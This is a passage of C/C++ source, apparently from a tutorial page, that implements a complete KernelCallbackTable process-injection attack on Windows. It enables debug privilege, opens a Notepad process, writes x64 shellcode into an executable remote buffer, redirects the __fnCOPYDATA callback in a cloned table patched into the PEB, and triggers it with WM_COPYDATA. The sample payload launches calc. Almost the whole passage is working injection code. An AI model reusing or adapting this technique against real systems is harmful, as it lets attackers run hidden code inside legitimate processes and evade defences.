ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
ULONG NumberOfHeaps; //0xe8
ULONG MaximumNumberOfHeaps; //0xec
VOID** ProcessHeaps; //0xf0
VOID* GdiSharedHandleTable; //0xf8
VOID* ProcessStarterHelper; //0x100
ULONG GdiDCAttributeList; //0x108
UCHAR Padding3[4]; //0x10c
struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110
ULONG OSMajorVersion; //0x118
ULONG OSMinorVersion; //0x11c
USHORT OSBuildNumber; //0x120
USHORT OSCSDVersion; //0x122
ULONG OSPlatformId; //0x124
ULONG ImageSubsystem; //0x128
ULONG ImageSubsystemMajorVersion; //0x12c
ULONG ImageSubsystemMinorVersion; //0x130
UCHAR Padding4[4]; //0x134
ULONGLONG ActiveProcessAffinityMask; //0x138
ULONG GdiHandleBuffer[60]; //0x140
VOID(*PostProcessInitRoutine)(); //0x230
VOID* TlsExpansionBitmap; //0x238
ULONG TlsExpansionBitmapBits[32]; //0x240
ULONG SessionId; //0x2c0
UCHAR Padding5[4]; //0x2c4
union _ULARGE_INTEGER AppCompatFlags; //0x2c8
union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
VOID* pShimData; //0x2d8
VOID* AppCompatInfo; //0x2e0
struct _UNICODE_STRING CSDVersion; //0x2e8
struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
ULONGLONG MinimumStackCommit; //0x318
struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
struct _LIST_ENTRY FlsListHead; //0x328
VOID* FlsBitmap; //0x338
ULONG FlsBitmapBits[4]; //0x340
ULONG FlsHighIndex; //0x350
VOID* WerRegistrationData; //0x358
VOID* WerShipAssertPtr; //0x360
VOID* pUnused; //0x368
VOID* pImageHeaderHash; //0x370
union
{
ULONG TracingFlags; //0x378
struct
{
ULONG HeapTracingEnabled : 1; //0x378
ULONG CritSecTracingEnabled : 1; //0x378
ULONG LibLoaderTracingEnabled : 1; //0x378
ULONG SpareTracingBits : 29; //0x378
};
};
UCHAR Padding6[4]; //0x37c
ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
ULONGLONG TppWorkerpListLock; //0x388
struct _LIST_ENTRY TppWorkerpList; //0x390
VOID* WaitOnAddressHashTable[128]; //0x3a0
VOID* TelemetryCoverageHeader; //0x7a0
ULONG CloudFileFlags; //0x7a8
ULONG CloudFileDiagFlags; //0x7ac
CHAR PlaceholderCompatibilityMode; //0x7b0
CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8
union
{
ULONG LeapSecondFlags; //0x7c0
struct
{
ULONG SixtySecondEnabled : 1; //0x7c0
ULONG Reserved : 31; //0x7c0
};
};
ULONG NtGlobalFlag2; //0x7c4
} PEBC, * PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef NTSTATUS(WINAPI* PFN_NTQUERYINFORMATIONPROCESS)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
PFN_NTQUERYINFORMATIONPROCESS NtQueryInformationProcess = NULL;
main.cpp
#include <Windows.h>
#include <stdio.h>
#include <cstddef> // 确保包含此头文件
#include "struct.h"
// 定义颜色宏(可选)
#define COLOR_RESET "\033[0m"
#define COLOR_RED_BOLD "\033[1;31m"
#define COLOR_GREEN_BOLD "\033[1;32m"
#define COLOR_YELLOW_BOLD "\033[1;32m"
#define COLOR_BLUE_BOLD "\033[1;34m"
#define MAX_WAIT_TIME 10000
PVOID PebBaseAddress = NULL;
// 功能:加载 NtQueryInformationProcess 函数,并打印加载状态
void LoadNtQueryInformationProcess()
{
// 打印加载信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);
// 获取 ntdll.dll 模块的句柄
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
// 检查 ntdll.dll 是否成功加载
if (hNtdll)
{
// 从 ntdll.dll 中获取 NtQueryInformationProcess 函数的地址
NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");
// 检查函数地址是否成功获取
if (NtQueryInformationProcess)
{
// 打印成功加载的消息,包括函数地址
printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
}
else
{
// 打印失败加载的消息
printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
}
}
else
{
// 如果 ntdll.dll 加载失败,打印错误消息
printf(COLOR_RED_BOLD "\t[-] Failed to load ntdll.dll.\n" COLOR_RESET);
}
}
// 功能:启用当前进程的调试权限
void EnableDebugPrivilege()
{
// 打印启用调试权限的信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);
HANDLE hToken; // 进程令牌句柄
TOKEN_PRIVILEGES tkp; // 存储权限信息的结构体
// 打开当前进程的令牌,以便调整权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 查找调试权限的 LUID(唯一标识符)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
// 设置权限计数为 1
tkp.PrivilegeCount = 1;
// 设置调试权限的属性为启用
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整令牌的权限
AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
// 关闭令牌句柄
CloseHandle(hToken);
// 打印成功启用调试权限的消息(注释掉的代码)
printf(COLOR_GREEN_BOLD "[+] Debug Privilege enabled.\n" COLOR_RESET );
}
else
{
// 打印失败启用调试权限的消息
printf(COLOR_RED_BOLD "[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
}
}
// calc shellcode
unsigned char payload[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
SIZE_T shellcodeSize = sizeof(payload);
SIZE_T bytesRead = 0;
int main()
{
printf(COLOR_YELLOW_BOLD "[*] Initializing exploit...\n" COLOR_RESET);
// 步骤一:启用调试权限
EnableDebugPrivilege();
// 步骤二:加载 NtQueryInformationProcess
LoadNtQueryInformationProcess();
if (!NtQueryInformationProcess)
{
printf(COLOR_RED_BOLD "\t[-] NtQueryInformationProcess is NULL. Exiting...\n" COLOR_RESET);
return -1;
}
printf(COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...\n\n" COLOR_RESET);
// 步骤三:启动 Target 进程
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf(COLOR_YELLOW_BOLD "\t[*] Creating new Notepad process...\n" COLOR_RESET);
if (!CreateProcess(
L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to create Notepad process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Notepad process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);
// 步骤四:等待进程完成初始化
printf(COLOR_YELLOW_BOLD "\t[*] Waiting for Notepad initialization...\n" COLOR_RESET);
WaitForInputIdle(pi.hProcess, 1000);
// 步骤五: 找到记事本的窗口句柄
HWND hWindow = NULL;
DWORD waitTime = 0;
while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
{
hWindow = FindWindow(L"Notepad", NULL);
if (!hWindow)
{
Sleep(500); // Wait for 500 ms before retrying
waitTime += 500;
}
}
if (!hWindow)
{
printf(COLOR_RED_BOLD "\t[-] Failed to find Notepad window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);
// 步骤六: 获得记事本窗口进程的PID
DWORD pid;
GetWindowThreadProcessId(hWindow, &pid);
printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if (!hProcess)
{
printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);
// 步骤七:检索 PEB 地址
printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
if (status != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
return -1;
}
PebBaseAddress = pbi.PebBaseAddress;
printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);
// 步骤八:读取目标窗口进程的内核回调表的地址
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&KernelCallbackTable,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);
// 步骤九: 将内核回调表所有回调函数指针读到KERNELCALLBACKTABLE结构体中。
KERNELCALLBACKTABLE CCC;
if (!ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof(CCC),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);
// 步骤十: 在远程目标窗口进程中申请一块RWX内存区域并将shellcode写入该区域
printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (!remotebuf)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);
// 步骤十一: 修改 _fnCOPYDATA函数指针为shellcode
printf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);
// 步骤十二: 为修改后的KERNELCALLBACKTABLE申请一块内存区域
printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof(CCC),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (!cloneCCC)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof(CCC),
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);
// 步骤十三: 更新PEB中的KernelCallbackTable指针,使其指向并修改后的内核回调表。
printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
if (!WriteProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&cloneCCC,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);
// 步骤十四: 发送消息给目标窗口,从而触发执行shellcode
printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
COPYDATASTRUCT cds;
WCHAR msg[] = L"oneday";
cds.dwData = 1;
cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
(WPARAM)hWindow,
(LPARAM)&cds
);
if (result == 0 && GetLastError() != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);
// 清理内存和句柄
printf(COLOR_YELLOW_BOLD "\t[*] Cleaning up...\n" COLOR_RESET);
VirtualFreeEx(hProcess, remotebuf, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, cloneCCC, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
CloseHandle(hProcess);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
printf(COLOR_GREEN_BOLD "[+] Exploit completed successfully.\n" COLOR_RESET);
return 0;
}

Last updated